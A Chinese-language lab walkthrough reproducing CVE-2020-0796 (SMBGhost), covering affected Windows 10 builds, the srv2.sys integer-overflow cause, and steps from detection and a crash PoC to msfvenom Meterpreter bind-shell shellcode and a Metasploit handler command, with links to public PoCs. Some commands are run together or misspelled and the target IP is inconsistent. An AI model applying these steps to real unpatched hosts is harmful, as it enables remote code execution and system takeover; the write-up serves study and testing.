一.漏洞概述

1.漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

2.影响范围

适用于32位系统的Windows 10版本1903

Windows 10 1903版(用于基于x64的系统)

Windows 10 1903版(用于基于ARM64的系统)

Windows Server 1903版(服务器核心安装)

适用于32位系统的Windows 10版本1909

Windows 10版本1909(用于基于x64的系统)

Windows 10 1909版(用于基于ARM64的系统)

Windows Server版本1909(服务器核心安装)

3.漏洞原理

漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。

二.漏洞复现

1.漏洞环境:

靶机:win10虚拟机(ipa;172.28.130.181)

攻击机:kali 2020(ip:172.28.130.231)

CVE-2020-0796漏洞复现

2.漏洞检测

CVE-2020-0796漏洞复现

3.本地提权

CVE-2020-0796漏洞复现

4.蓝屏测试

  • git下载蓝屏poc,利用Xftp工具上传到kali

CVE-2020-0796漏洞复现

  • 安装好依赖
git clone https://github.com/SecureAuthCorp/impacket.git cd impacketpython3 setup.py install

CVE-2020-0796漏洞复现

  • 利用脚本进行蓝屏测试

CVE-2020-0796漏洞复现

5.kali下生成python版本的反弹shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py

查看生成的shellcode

cat exp.py

CVE-2020-0796漏洞复现

将生成的exp.py代码中的变量buf全部替换成变量USER_PAYLOAD,然后将所有代码粘贴覆盖下面的代码处

CVE-2020-0796漏洞复现

漏洞利用,反弹shell

CVE-2020-0796漏洞复现

CVE-2020-0796漏洞复现

msfconle use exploit/multi/hander set payload windows/x64/meterpreter/bind_tcpset lport 2333 set rhost 172.168.100.3 run

CVE-2020-0796漏洞复现

CVE-2020-0796漏洞复现

参考链接:

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

https://github.com/chompie1337/SMBGhost_RCE_PoC

本文来源于互联网:CVE-2020-0796漏洞复现